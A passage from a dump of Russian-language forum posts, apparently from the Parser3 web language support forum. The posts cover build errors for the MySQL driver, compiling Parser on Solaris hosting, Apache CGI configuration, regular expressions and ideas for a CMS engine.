parser3mysql.C:280: `MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)' redeclared\
  as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:279: previous declaration of `\
  MYSQL_FIELD* mysql_fetch_field(MYSQL_RES*)'\
parser3mysql.C:282: `unsigned int (*mysql_num_fields)(MYSQL_RES*)' redeclared\
  as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:196: previous declaration of `\
  unsigned int mysql_num_fields(MYSQL_RES*)'\
parser3mysql.C:285: `unsigned int (*mysql_field_count)(MYSQL*)' redeclared as\
  different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:204: previous declaration of `\
  unsigned int mysql_field_count(MYSQL*)'\
parser3mysql.C:288: parse error before `private'\
parser3mysql.C:303: ISO C++ forbids declaration of `mysql_init' with no type\
parser3mysql.C:303: `int mysql_init' redeclared as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:213: previous declaration of `\
  MYSQL* mysql_init(MYSQL*)'\
parser3mysql.C:303: `t_mysql_init' was not declared in this scope\
parser3mysql.C:303: parse error before `(' token\
parser3mysql.C:304: ISO C++ forbids declaration of `mysql_options' with no type\
parser3mysql.C:304: conflicting types for `int mysql_options'\
parser3mysql.C:250: previous declaration as `int (*mysql_options)(MYSQL*,\
  mysql_option, const char*)'\
parser3mysql.C:304: `handle' was not declared in this scope\
parser3mysql.C:304: parse error before `if'\
parser3mysql.C:305: ISO C++ forbids declaration of `mysql_store_result' with no\
  type\
parser3mysql.C:305: conflicting types for `int mysql_store_result'\
parser3mysql.C:252: previous declaration as `\
  MYSQL_RES*(*mysql_store_result)(MYSQL*)'\
parser3mysql.C:305: `handle' was not declared in this scope\
parser3mysql.C:305: parse error before `if'\
parser3mysql.C:306: ISO C++ forbids declaration of `mysql_query' with no type\
parser3mysql.C:306: conflicting types for `int mysql_query'\
parser3mysql.C:254: previous declaration as `int (*mysql_query)(MYSQL*, const\
  char*)'\
parser3mysql.C:306: `handle' was not declared in this scope\
parser3mysql.C:306: parse error before `if'\
parser3mysql.C:307: ISO C++ forbids declaration of `mysql_error' with no type\
parser3mysql.C:307: conflicting types for `int mysql_error'\
parser3mysql.C:256: previous declaration as `char*(*mysql_error)(MYSQL*)'\
parser3mysql.C:307: `handle' was not declared in this scope\
parser3mysql.C:307: parse error before `if'\
parser3mysql.C:308: ISO C++ forbids declaration of `mysql_real_connect' with no\
  type\
parser3mysql.C:308: conflicting types for `int mysql_real_connect'\
parser3mysql.C:265: previous declaration as `\
  MYSQL*(*mysql_real_connect)(MYSQL*, const char*, const char*, const char*,\
  const char*, unsigned int, const char*, unsigned int)'\
parser3mysql.C:308: `handle' was not declared in this scope\
parser3mysql.C:308: parse error before `if'\
parser3mysql.C:309: ISO C++ forbids declaration of `mysql_close' with no type\
parser3mysql.C:309: conflicting types for `int mysql_close'\
parser3mysql.C:267: previous declaration as `void (*mysql_close)(MYSQL*)'\
parser3mysql.C:309: `handle' was not declared in this scope\
parser3mysql.C:309: parse error before `if'\
parser3mysql.C:310: ISO C++ forbids declaration of `mysql_ping' with no type\
parser3mysql.C:310: conflicting types for `int mysql_ping'\
parser3mysql.C:269: previous declaration as `int (*mysql_ping)(MYSQL*)'\
parser3mysql.C:310: `handle' was not declared in this scope\
parser3mysql.C:310: parse error before `if'\
parser3mysql.C:311: ISO C++ forbids declaration of `mysql_escape_string' with\
  no type\
parser3mysql.C:311: conflicting types for `int mysql_escape_string'\
parser3mysql.C:272: previous declaration as `long unsigned int\
  (*mysql_escape_string)(char*, const char*, long unsigned int)'\
parser3mysql.C:311: `handle' was not declared in this scope\
parser3mysql.C:311: parse error before `if'\
parser3mysql.C:312: ISO C++ forbids declaration of `mysql_free_result' with no\
  type\
parser3mysql.C:312: conflicting types for `int mysql_free_result'\
parser3mysql.C:274: previous declaration as `void\
  (*mysql_free_result)(MYSQL_RES*)'\
parser3mysql.C:312: `handle' was not declared in this scope\
parser3mysql.C:312: parse error before `if'\
parser3mysql.C:313: ISO C++ forbids declaration of `mysql_fetch_lengths' with\
  no type\
parser3mysql.C:313: conflicting types for `int mysql_fetch_lengths'\
parser3mysql.C:276: previous declaration as `long unsigned\
  int*(*mysql_fetch_lengths)(MYSQL_RES*)'\
parser3mysql.C:313: `handle' was not declared in this scope\
parser3mysql.C:313: parse error before `if'\
parser3mysql.C:314: ISO C++ forbids declaration of `mysql_fetch_row' with no\
  type\
parser3mysql.C:314: conflicting types for `int mysql_fetch_row'\
parser3mysql.C:278: previous declaration as `\
  char**(*mysql_fetch_row)(MYSQL_RES*)'\
parser3mysql.C:314: `handle' was not declared in this scope\
parser3mysql.C:314: parse error before `if'\
parser3mysql.C:315: ISO C++ forbids declaration of `mysql_fetch_field' with no\
  type\
parser3mysql.C:315: conflicting types for `int mysql_fetch_field'\
parser3mysql.C:280: previous declaration as `\
  MYSQL_FIELD*(*mysql_fetch_field)(MYSQL_RES*)'\
parser3mysql.C:315: `handle' was not declared in this scope\
parser3mysql.C:315: parse error before `if'\
parser3mysql.C:316: ISO C++ forbids declaration of `mysql_num_fields' with no\
  type\
parser3mysql.C:316: conflicting types for `int mysql_num_fields'\
parser3mysql.C:282: previous declaration as `unsigned int\
  (*mysql_num_fields)(MYSQL_RES*)'\
parser3mysql.C:316: `handle' was not declared in this scope\
parser3mysql.C:316: parse error before `if'\
parser3mysql.C:317: ISO C++ forbids declaration of `mysql_field_count' with no\
  type\
parser3mysql.C:317: conflicting types for `int mysql_field_count'\
parser3mysql.C:285: previous declaration as `unsigned int\
  (*mysql_field_count)(MYSQL*)'\
parser3mysql.C:317: `handle' was not declared in this scope\
parser3mysql.C:317: parse error before `if'\
parser3mysql.C:323: syntax error before `*' token\
make[2]: *** [parser3mysql.lo] Error 1\
make[1]: *** [all-recursive] Error 1\
make: *** [all-recursive-am] Error 2\
$\
\
---------------------------------------------------------------------------------\
\
[/code]\
"
"12997","полезно почитать этот документ http://www.opera.com/docs/specs/doctype/"
"12998","Правильно ругается.\
>Action parser3-handler /var/www/parser3/parser3.cgi \
тут НЕ надо указывать полный дисковый путь... тут как раз script alias... и если-бы ты взглянул на то, что туда надо писать, я думаю ты понял-бы это...\
\
вот он и пытается к твоему документ руту подставить такой \"cкрипт алиас\" вызвать парсер.\
\
parser3.cgi/index.html - это нормально"
"12999","Пишу достаточно большую систему, столкнулся с некой ошибкой, написал простенький пример - в нем работает...\
есть класс(все это тестовое):\
[code]\
@CLASS\
test\
\
@method[hash][local]\
	$local[text]\
	^process{$hash.code}\
#end of @method[]\
\
@auto[]\
	$local[global]\
[/code]\
\
Вызов:\
[code]\
$hash[^hash::create[\
	$.code[^$local]\
]]\
\
^use[/class/test.p]\
^test:method[$hash]\
[/code]\
\
Этот пример работает нормально - выводит \"text\"\
Там же, где я с ошибкой столкнулся, при выводе переменной local (её выводит ^process), выводится её не локальной для @method[] значение, а значение определенное в @auto этого класса, хотя в методе помечено, что это локальная переменная и её значение определено внутри метода. В данном примере, при наличии этой ошибки, выводилось бы \"global\". Может, у кого есть хоть какие-то мыли, из-за чего такое может быть? У меня уже мыслей нету... хоть какие-то идеи..\
заранее спасибо..."
"13000","Там же написано:\
\
parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
\
Если ничего не путаю, он ищет этот файл в инклюдах парсера. То есть исходники парсера должны быть развернуты в ../../parser3.\
Структура каталогов такая:\
\
parser3 - исходники parserа\
sql\
 +-- mysql - исходники mysql\
\
"
"13001","Интересно, возможен ли такой симбиоз?\
Например для создания рассылки - написал новости в 21-00 11.02.03, а в 2-00 12.02.03, когда почтовый сервер особо не загружен, кронтаб откроет spam.html, который все и разошлет."
"13002","[b]Спасибо Константин! Вы правы. [/b]\
Поторопился стереть каталог parser3 и исходниками.  Вот тлько админ сказал ... что часто меняет библиотеки MySQL. Как это может отразится на работе драйвера?\
\
Драйвер скомпилился, а это главное!"
"13003","Про ПАФа я пошутил. ;))\
\
Оптимизировать нужно два момента (что тоже по моему очевидно):\
+ Скорость по написанию системы администрирования для сайта с \"нуля\"\
+ Скорость с которой можно администрировать сайт, ибо интернет-время чрезвычайно дорого (вариант с выделенным каналом у администратора сайта я не рассматриваю, в Красноярске он редко встречается).\
Где там код, а где юзабительность х знает.\
\
А ты что в студии у Самизнаетекто работаешь в Москве?\
\
Что такое CMS?\
"
"13004","День добрый.\
Не очень понял как пол-ся регулярными выражениями на парсере, посему прошу помочь мне преобразовать, к примеру, дату: 20030111 к 11-01-2003.\
\
На перле я такое делал как:\
$date=\"20030111\";\
@var=$date=~/(\\d{4})(\\d{2})(\\d{2})/;\
print\"@var[0]-@var[1]-@var[2]\";"
"13005","CMS - content managment system"
"13007","Код на перле будет выглядеть так:\
[code]\
$date[20030111]\
^date.match[(\\d{4})(\\d{2})(\\d{2})][]{${match.1}-${match.2}-$match.3}\
[/code]\
\
Однако описанная вами задача реализуется несколько иначе:\
[code]\
$date[20030111]\
^date.match[(\\d{4})(\\d{2})(\\d{2})][]{${match.3}-${match.2}-$match.1}\
[/code]"
"13008","С сайта совершенно непонятно - это консольный или Иксовый редактор?\
Я ищу консольный..."
"13009","хочу консольный пишу - vim\
хочу иксовый пишу - gvim\
и под вину он тоже есть"
"13010","Ты работаешь в Студии Лебедева? Ну скажи...\
\
Я не собирался просить у кого-то полный листинг нормальной CMS. Я вообще не знал, что CMS так развиты, что кто-то продает их за деньги.\
\
Я видел одну CMS для сайта красноярского СПС. Качественно написано, вообще неплохо. Грамотно так. Там просто редактируются таблицы, но методов там разных много. С фантазией сделано. Скажи ссылку на сайт фирмы продающей CMS (демку посмотреть) или как найти такой сайт! Да, это комерческие вещи, на них бизнес можно основывать даже.\
"
"13011","только \
1. ты уверен, что и там и там ты используешь статические вызовы? \
2. какая версия p3 у тебя? в 0006 кардинально переделана зона видимости переменных в классах.\
\
\
а вообще мне лично очень интересно, на фига такие сложные телодвижения? ты уверен, что проще нельзя? ^process{} - очень нехорошая штука в плане производительности: парсер останавливается, и компилит код... ты уверен, что передачей \"кода\" не обойтись?\
$my{это код, например: ^eval($a+$b), который будет вычисляться при обращении к этой переменной}\
\
ссылка по теме:\
http://parser.ru/docs/lang/params.htm\
"
"13013","1. оба вызова статические.\
2. 007. Вроде, во всех версиях должно выводится значение локальной переменной.\
\
А почему ^process не эффективен? можно поподробнее?\
Пишу движок, в котором администрироватся должно ВСЕ. Есть некие подключаемые модули, которые ^process'ом цепляются. А как можно это обойти?"
"13014","Нверняка, у многих уже есть некие движки, которыми они пользуются. Не прошу поделиться. Интересует то, на каких принципах они работают. Давайте пообсуждаем?"
"13016","а нет возможности сделать пример, который покажет ошибку?\
\
что подробнее-то?\
парсер, перед выполнением кода компилит его... во что именно - это паф расскажет. а затем начинает выполнять, т.е. он не является интерпрететором.\
\
если он всречает ^process{} он начинает опять выполнять довольно длительную операцию компиляции, в большинстве случаев лишь для того, чтобы выполнить какую-нить примитивную вещь.\
\
особенно стоит избегать этого в циклах. стоит хорошенько подумать, и возможно с помощью ^process{} один раз динамически сгенерить метод (можно ему при создании сделать случайное уникальное имя) и потом его просто вызывать в цикле.\
\
но все равно это не очень хорошие методы (хотя я тоже кое где это использую).\
\
я просил рассказать, что за задачу ты решаешь что тебе именно таким извращенным методом приходится пользовать process, уж очень неочевидны для понимания подобные кострукции. а если что-то не очевидно, то есть большая доля вероятности что оно не гуд.\
"
"13017","Жаль у Миши до презенташки руки таки не дошли...  ;-)"
"13020","Как пользоваться этим полем?\
Вроде, не работает..."
"13021","Как поставить кавычки в sections.cfg? Сейчас я ставлю и получается вместо \"about\" &quot;about&quot;."
"13023","Попробовал как вы сказали.... в винде зароботало.. а в линуксе выдает такую ощибку%\
\
[Wed Feb 12 10:49:01 2003] [error] Unrecognized character \\x7F at /var/www/cgi-bin/avenger/parser3/parser3.cgi line 1.\
\
это что за зверь? "
"13025","устанавливать новую версию 3.007 ?\
(Если нужно.)\
\
"
"13026","странно что его нет в дистрибутиве дрйверов для MySQL."
"13028","Может, кто уже и знает решение?\
\
Установил последнюю версию Денвера (от 10.02.03, с поддержкой Парсера). На все вопросы, кроме имени диска, отвечал, как предлагает установщик (диск назначил W:) После запуска серверов все тесты прошли нормально, включая тест Парсера и его проверку MYSQL. А вот phpMyAdmin выдает такую ошибку:\
\
Parse error: parse error, unexpected T_STRING in w:\\home\\localhost\\www\\phpmyadmin\\libraries\\sqlparser.lib.php on line 285\
\
Warning: Cannot modify header information - headers already sent by (output started at w:\\home\\localhost\\www\\phpmyadmin\\libraries\\sqlparser.lib.php:285) in w:\\home\\localhost\\www\\phpmyadmin\\index.php on line 29\
\
Где копать решение?\
\
Спасибо!"
"13029","хотя вопрос явно не по парсеру, но попробую помочь :-)\
\
Хорошо бы было сказать версию phpMyAdmin. \
Попробуй не использовать русский язык в phpMyAdmin.\
(Там была ошибка в файле с русским языком)\
\
Покажи строчку 285 в из файла \
w:\\home\\localhost\\www\\phpmyadmin\\libraries\\sqlparser.lib.php"
"13030","Вот 284,285,286 строчки файла\
        $result          = array();\
        $size            = $arr['len'];\
        $subresult       = array(\
\
Вот версия: (из readme.txt) phpMyAdmin 2.3.0 (август 2002 г.). Она совпадает с тем, что в index.html самого phpMyAdmin\
\
А как русский отключить... не знаю, сейчас поищу...\
\
Спасибо!\
"
"13031","Вот что в config.inc.php\
\
// Default language to use, if not browser-defined or user-defined\
$cfg['DefaultLang'] = 'en-iso-8859-1';\
\
Может, наоборот, его включить надо? В предыдущей версии он по-умолчанию был включен... Или это уже шаманство? 8-)"
"13032","есть предположение что это какой-то левый phpMyAdmin\
потому что в версии 2.3.0 строчки 283, 284, 285 содержат совершенно другое.\
мой совет поставьте последнюю не бету например 2.3.2"
"13033","Но вопрос в том, что хочется найти ошибку в этой разработке, поскольку она сделана именно для того, чтобы \"ставить ручками\" было не надо. А разработчики самого Денвера пока молчат :( Прошло, правда, пока всего полдня от первого запроса..."
"13034","я так понимаю фан в том что бы после исправления этой ошибки искать другие? :-)\
сомнительный фан :-)"
"13036","\
У меня проблема - хочу сайт ,хостящийся на rbc, перевести на Parser ...\
Настраивал - перепробовал всё что можно - результатов никаких ...\
Ставил версии и под FreeBSD и под LINUX...\
\
После строчек в .htaccess :\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
virtual hosts валится ...\
Не подскажете в таком случае в чём может быть проблема \
.Или подскажите как прописать путь от корня (для тех кто пользуеться услугами рбк)...\
\
\
"
"13037","авторы mysql очень давно не меняли API."
"13038","но лучше, чем ничего :)"
"13039","дело в том, что parser постоянно развивается, и changelog растёт чаще, чем меняется версия.\
\
если уж делать, то веб-доступ в CVS, что, возможно, при некотором количестве желающих, и сделаем.\
\
пока: changelog доступен из CVS, там видно, что было сделано, и что делается прямо сейчас."
"13042","Только почему-то никто не торопится туда чего-то присылать.\
sic!"
"13043","Появилась у меня идея сделать некий конструктор, который грузишь на сервер, а дальше уже через веб-интерфейс \"разворачиваеш\" сайт. Ниже попытаюсь кратко его изложить.\
\
Есть шаблоны. В шаблонах условными тэгами обозначены места для информационных блоков. Есть база разделов и страниц. Каждая страница должна принадлежать какому-то разделу и каждая страница отображаеться при помощи определенного шаблона. Разделы иерархичны (у каждого есть предок, могут быть потомки) родитель \"0\" - корень дерева. \
\
При обработке шаблона, блок наполняется содержанием какого-то типа, например: text_from_db(банально текст из БД), news_list(список новостей), news_details(подробная информация о какой-то новости), forum_themes(список тем форума), forum_add_message(форма для добавления сообщения в форум) и т.д. В таблице content описано содержание всех блоков для всех страниц.\
\
У блоков есть \"настройки\" для того, что бы определить, например какой текст из БД вытаскивать, если тип блока text_from_db. Система настроек иерархическая: есть настройки по умолчанию, переопределяемые настройками разделов, блоков, а потом страниц.\
\
Таким образом, структуру и наполнение сайта можно легко редактировать через веб-интерфейс. \
\
Почему получается жоп@ с ^process'ами?\
Хотелось бы сделать, что бы все эти \"типы\" наполнения блоков были лекго подключаемы по необходимости.\
Когда \"движок\" все это собирает, при наполнении содержимым блоко, он через ^process вызывает, например, файл /init/text_from_db.p (для соответствующего типа), задача которого переопределить все настройки и вызвать тот код, который строит контент нужного блока.\
Пример text_from_db.p:\
\
[code]\
#Определяем настройки по умолчанию\
$cfg[^hash::create[\
  $.textId[default]\
  $.textSize(10)\
  $.textColor[000000]\
  ...\
]]\
\
#Далее надо переопределить настройки по умолчанию настройками сначала разделов, потом блоков, а потом страниц...\
#...\
\
#И, наконец, занимаемся генерацией содержимого\
\
<p style='font-size: ${cfg.textSize}pt^; color^ #$cfg.textColor'>^string:sql{SELECT text FROM text WHERE id='$cfg.textId'}[$.default{&nbsp^;}]</p>\
\
[/code]\
\
Безусловно, некоторые вещи здесь не лучшим образом продуманны - это набросок. Его можно \"зализать\", но как его можно логично упростить и при этом не потерять то, что ВСЕ можно редактировать через веб, я не вижу.\
\
Вариант, который описан здесь: http://www.parser.ru/forum/?id=3607 на мой взгляд имеет единственный минус - для изменения структуры (добавления страницы, например), надо редактором по FTP добавлять эту страницу с какими-то методами и т.д... Как это редактировать через браузер? Естественно, это не тупая задача ограничится из инструментов только браузером, хочется, что бы получился некий конструктор...какие есть мысли?"
"13045","что значит валится?\
сам парсер запускается?\
что бы узнать абсолютный путь (но она там не нужен) - pwd из SSH либо напиши скриптик на perl'е, типа:\
[code]\
#!/usr/bin/perl\
print \"Content-type: text/html\\n\\n\";\
print `pwd`;\
[/code]"
"13046","такой файл при нормальной работе появляться не должен.\
\
1. если есть возможность, зайдите консолью[ssh/telnet], и попробуйте задать команду\
gdb /путь/к/parser3.cgi /путь/к/parser3.cgi.core\
в появившемся приглашении команду\
bt\
\
2. если нет возможности, укажите название и версию используемо OS, url к файлу в parser.ru/download, который вы установили/используете. и пришлите почтой сам файлик [он хорошо пакуется]\
\
заранее спасибо, PAF"
"13047","обычно настраивают, что все файлы в некотором каталоге[по http доступном, как /cgi-bin/] это CGI скрипты.\
\
или что все файлы с расширением имени .cgi это CGI скрипты.\
\
в вашем случае настроено что-то другое."
"13048","У меня есть текст, примерно такого содержания, часть которого заключена в идентификаторы, например [code]EOK[/code].\
T.e в результате текст выглядит примерно так:\
[code]\
... \
     something ... bla bla EOK \
     bla bla ....  vla nla fla \
     bla bla ....  vla nla fla \
EOK;\
[/code]\
\
Как мне regexp'ом из этого текста вытащить, то что между EOK?\
"
"13049","в доке опечатка, исправлю.\
спасибо.\
\
если вы не против, интересно, какое вы нашли ему применение?"
"13050","только пользоваться нужно с осторожностью, поскольку это означает, что вы собираетесь в .cfg хранить немного HTML кода, что [b]обычно скверно[/b].\
\
скажем, в .cfg файле можно положить[code]OOO \"Урюпинский заготкопыт\"[/code]\
потом считать это в таблицу, и выводить в \
[code]\
<img src=\"...\" alt=\"$company.name\">\
[/code]\
\
так будет работать нормально, поскольку parser вас подстрахует, и заменит кавычки на &quot;.\
\
если же\
[code]\
#неправильно, никогда так не делайте\
<img src=\"...\" alt=\"^untaint{$company.name}\">\
[/code]\
то, понимаете, посетитель увидит в alt только \"OOO\"."
"13051","сейчас эти рекомендации убраны, чтобы не захламлять пространство.\
\
вот копия:\
[02.12.2002]  Идут последние тесты новой версии, и сейчас самое время подготовить ваш код к новвовведениям и улучшениям в языке…\
\
Скоро операторы перестанут выполняться в «текущем» контексте, что сейчас порождает массу непонимания. Операторами будут считаться все методы класса MAIN, и выполняться они будут в контексте класса MAIN. Проверьте имеющийся код, те блоки, которые надеялись, что контекстом выполнения оператора является «текущий контекст», перестанут работать. В грядущей версии контекст выполнения любого метода будет доступен в переменной $caller.\
\
Хотя в документации и не было указано, но многие пользовались конструкцией ^if(def $имя_метода) для проверки наличия метода. Эта конструкция в следующей версии перестанет работать — уже сейчас стоит перейти на проверку вида ^if($имя is junction) она работает сейчас и будет работать и впредь"
"13052","В общем, поставил 007 на ФриБСД, всё работает без всяких изменений. Значит мой код - грамотный :-)"
"13056","[b]Сборка Parser из исходных кодов на хостинге Комбеллга.[/b]\
\
Вот так судьба сложилась, что попался хостинг на [url=\"http://www.co.ru/\"]Комбелге[/url]. \
Пришла пора устанавливать там Parser, оказалось, что система у них с OS Solaris 8 \
да и техника не очень обычная:\
\
с сайта http://www.co.ru/\
[i]Виртуальные серверы располагаются на кластере многопроцессорных серверов Sun Microsystems (sparc) под управлением OS Solaris8. В качестве дисковой подсистемы используется аппаратный RAID5 массив. В совокупности это гарантирует высокую доступность сервиса. В качестве www-сервера используется Apache 1.3.[/i]\
источник: http://www.combellga.ru/rus/serv/internet/web-hosting.jsp\
\
структура сервера у них такая:\
- все клиенты распологаются в /home/client/\
- у каждого есть свой собственный apache, работающий от имени клиента\
- в директории client есть директория www_1, а в ней  находятся директории module, logs, content, conf\
[code]\
    client\
       |---www_1\
             |----module\
             |----logs\
             |----content\
             |      |---cgi-bin\
             |      |---htdocs\
             |\
             |----conf\
[/code]             \
 module - свои модули,\
 logs - серверные логи пишутся,\
 content - собственно понятно что,\
а вот в conf файлы настроек сервера apache (httpd.conf и т.д.)\
вообще настраивать apache можно как угодно.\
\
Скачал я исходные коды в /home/client\
- parser-3.0.0006.tar.gz сам Parser (parser-3.0.0007.tar.gz не захотел пчему-то даже конфигурится)\
- parser3mysql -3.0.0006.tar.gz  драйвер для MySQL\
Я собирал без поддержки XML, т.к. пока не использую.\
А если надо то читайте файл INSTALL входящий в поставку там написано, что еще скачать и скомпилить.\
Например для parser-3.0.0006 нужно:\
      libxml2 >= 2.4.11\
      libxslt >= 1.0.9\
      glib >= 1.2.10\
      gdome2 >= 0.7.0\
далее надо пропатчить libxml2 и libxslt (см. INSTALL, там же есть инфа где скачать) \
и установить это все в $D/gnome (--prefix=$D/gnome) \
потом при конфигуре parsera надо будет указать\
  --with-static-xml=$D/gnome\
  --with-shared-xml=$D/gnome\
\
\
Работал через ssh доступ в терминале.\
Создал в /home/client директорию p3distr\
[code]\
$ mkdir $D/p3distr\
[/code]\
$D - подразумевается директория /home/client\
можно прям так и задать в shell, чтоб не мучатся набирать\
[code]\
$ D=/home/client\
[/code]\
или если это ваша дмашняя директория то проще\
[code]\
$ D=$HOME\
[/code]\
переместил туда parser-3.0.0006.tar.gz\
и стал устанавливать как написано:\
перемещаемся в $D/p3distr\
[code]$ cd $D/p3distr[/code]\
распаковываем архив с исходниками, у нас создается директория parser3-0.0006 и в неё все файлы помещаются\
[code]$ gunzip -c parser3-0.0006.tar.gz | tar xvf -[/code]\
переименовываем parser3-0.0006 в parser3 (зачем см. сборку драйвера mysql ниже)\
[code]$ mv parser3-0.0006 parser3[/code]\
переходим в директорию parser3\
[code]$ cd parser3[/code]\
конфигурим parser (--prefix=$D/p3 задаем директорию в которую устанавливаем бинарник),\
если сказать  ./configure --help то посмотрите все опции установки\
[code]$ ./configure --prefix=$D/p3 [/code]\
далее делаем make \
[code]$ make[/code]\
\
и вот тут первый подводный камень:\
Выдалось куча всякой инфы, и ошибки возникли, короче make не сработал как надо.\
В этой инфе заметил, практически в конце что-то типа ar: command not found.\
Думаю что за ar, за команда такая. Заглянул в справочник Linux, оказалось ar это архиватор.\
Думаю поищу я ar\
[code]\
$ find / -name ar\
[/code]\
нашел\
[code]/usr/ccs/bin/ar[/code]\
\
короче почему-то этот путь не был прописан в переменной среды $PATH, поэтому ar и был не найден.\
Сначала я тормознул и полез исправлять в vi все Makefile где было прописано AR = ar (на AR = /usr/ccs/bin/ar),\
но этого делать не надо. Над просто сделать так:\
[code]$ PATH=$PATH:/usr/ccs/bin; export PATH[/code]\
так мы добавили нужный нам путь в $PATH и теперь ar будет найден.\
снова\
[code]$ make[/code]\
\
и наконец\
[code]$ make install[/code]\
\
если все собралось без ошибок, то получаем в\
[code]\
	$D/p3\
	|-----bin (parser3 и auto.p.dist)\
	|-----etc\
	       |---parser3.charsets (файлы кодировок)\
[/code]	    \
\
Попробовал проверить как работает parser3 (поместил в cgi-bin переименовал в parser3.cgi)\
обратился из веба www.site.ru/cgi-bin/parser3.cgi\
Вместо версии, плучил 500 Internal Server Error. \
Попробовал из shell ./parser3.cgi\
выдало ошибку \
[code]\
ld.so.1: ./parser3: fatal: libgcc_s.so.1: open failed: No such file or directory\
Killed\
[/code]\
написал письмо в службу поддержки.\
они сразу ответили:\
\
>По умолчанию подцепляются библиотеки только\
>из /usr/lib, для того чтобы динамический линковщик \"увидел\"\
>в другом месте, надо перед запуском установить переменную окружения LD_LIBRARY_PATH :\
>\
>LD_LIBRARY_PATH = \"/usr/local/lib\" ; export LD_LIBRARY_PATH\
\
да действительно сделал, сразу заработало, но только из шела. Из веба пока еще не работает.\
А чтобы заработало из веба(служба поддержки подсказала) надо эту переменную прописать в директивах apacha\
В httpd.conf или .htaccess поместить:\
[code]\
SetEnv LD_LIBRARY_PATH  /usr/local/lib\
[/code]\
для этого нужет mod_env\
\
все после этого заработало все как должно.\
\
[b]Еще хочу сказать, когда собирал драйвер mysql тоже без граблей не обошелся.[/b]\
Сам процесс прост.\
\
В директории p3distr создать дир.  sql и в ней распоковать исходники драйвера.\
Когда собирается драйвер он ищет некторые файлы в исходниках самого парсера в ../../parser3 поэтому не стирайте их сразу.\
И структура каталогов должна быть такой\
[code]\
 p3distr\
   |\
   +-parser3 - исходники parserа\
   |\
   +-sql\
      +-- mysql - исходники mysql'\
[/code]\
\
а дальше все получилось как надо:\
[code]\
$ gunzip -c parser3mysql-x.x.tar.gz | tar xvf -\
$ cd parser3mysql-x.x\
$ ./configure --prefix=$D/p3 --with-mysql-inc=/путь/к/mysql/include/mysql\
$ make\
$ make install\
[/code]\
плучаем готовый драйвер в $D/p3/lib\
\
Не знаю может, у кого-то и правда такие же будут проблемы при сборке из исходных кодов. Пусть это поможет.\
\
P.S. \
\
О хостинге Комбелга остались хорошие впечатления. Отличный у них сервис.\
Кстати  у каждого сайта есть страница управления, где можно например работать с БД (создавать табл.,изменять, удалять оч удбно).\
\
temach\
Артём Юрьев. \
mailto:snovateme@pisem.net"
"13057","спасибо всем за долготерпение."
"13058","информацию о $.distinct(1) для hash:sql :-) а то выдаёт Unhandled Exception без него. На 006 такого не было."
"13060","вообще особого смысла от этого нету, если нет возможности определить часовой пояс. "
"13061","Спасибо за содержательные советы ;) Парсеръ успешно установил, после разговора с админом все прояснилось. Но вот вопрос - можно ли при извлечении таблицы из .cfg при помощи menu данные \"перевернуть\"? то есть что бы нижние строки были сверху, а вирхние - снизу? спасибо."
"13062","Журнал для вебмастеров &nbsp; - снова в строю.\
http://nbsp.ru\
(Написан на Парсере, само собой :-)"
"13063","о которых говорил Александр."
"13065","страница просто не догрузилась"
"13066","да?\
\
в МСИЕ тоже пока грузится, всё \"ездит\". вот думаю, прописать размеры. мне это уже второй раз сегодня говорят."
"13067","также хотелось бы отметить, что на хостинге majordomo.ru Parser3 устанавливается без проблем. ОС - FreeBSD 4.4. Думаю, многим пригодится эта информация."
"13068","есть какие-либо особые причины, по которым это не было сделано?"
"13069","а ещё лучше если вы напишите об этом поподробнее и вашу статью поместят в раздел Хостинги"
"13070","Если после установки парсера пишет no cgi allowed, можно ли с этим как-то боросться?"
"13071","хочу всем желающим предложить ещё один способ общения в добавок к форуму...\
общаться через IRC на канале #parser\
\
/server irc.freenode.net\
/join #parser\
\
вобщем всем желающим, добро пожаловать :-)\
\
ps. пока я сижу там один :-)"
"13073","дизайн, довольно спокойный, но это его наверно и портит, по мне так явно не хватает контраста.\
По юзабилити: я так понял, что псещенные ссылки никак не обозначаются. Это же не удобно!\
\
Но тема интересная, я bookmark пложил."
"13074","уже толпа в кол-ве четырех человек... :-)"
"13075","а не проще тогда в sections.cfg впистать в том порядке, в каком надо?\
\
или можно, если есть id отсортировать например"
"13076","Потихоньку получается... Но буквы идут не прямо, а прыгают)))\
gif файл: В нем буквы должны идти впритык? или с отступом сверху и снизу?\
И как вообще лучше его создавать. Я делал так - просто тыкаю на шрифт - и начинаю с буквы например А - потомо enter - Б - enter -- и т.д.... Соответственно между ними остается пространство.\
\
и вообще, кто то этим хоть занимался?))"
"13078","размер файла с шрифтом по вертикали [b]должен[/b] быть равен\
высота буквы * количество букв в алфавите.\
\
у вас немного не равен."
"13079","Администратор сайта - это я  %) (локальный сервер)\
\
Дело втом что, то была такая заморочка - каталог /cgi-bin/ должен был содержать выполняемые файлы, причем файлы эти должен был выполнять mod_perl. Поэтому все файлы, которые лежали в каталоге /cgi-bin/ выполнялись mod_perl'ом, в том числе и parser3.cgi ...\
\
Вылечил так(если кому интересно): в дерективе <Files> поставил   обработку Mod_perl'ом файлов только с расширением .cgi\
,а parser3.cgi переименовал в parser3\
\
Возможно можно было вылечить так:\
в виртуал хосте прописать в директиве \
\
<derictory /cgi-bin/parser3/> \
Options none  -- по идее должен выключить все свойства директории\
Options +ExecCGI   -- сработает ли? чтобы выполнялись файлы... Возможно нужно поставить Sethandlers\
\
</derictory>\
\
Если есть еще какой-то метод это вылечить - сообшите!\
\
Всем большое пасибо....."
"13080","в пикселях конечно?)... видимо немного не то дает редактор...\
"
"13081","а вы, когда сохраняете картинку.\
приведите тут:\
\
размер файла = [b]СКОЛЬКО?[/b]\
размер буквы = [b]СКОЛЬКО?[/b]\
количество букв в ^image.font[алфавите;…] = [b]СКОЛЬКО?[/b]"
"13082","нда...\
сейчас делал по другому.\
вручную измерял каждый символ и вставлял в файл. получилось, но это уже дело текхники...\
\
Теперь остается дело за количеством строк и т.д. т.е. с позиционированием надписей\
\
Пробелов то не должно быть между символами практически."
"13083","В 4-м уроке есть фраза\
\"Прежде всего, средствами MySQL создаем новую базу данных с именем p3test...\"\
Непонятно, как это сделать\
Допустим, если у базы есть графический интерфейс, то всё ясно. \
Допустим, если немножко знаешь php, то тоже сможешь создать базу\
\
А как создать базу данных(mySQL) в парсере с нуля?"
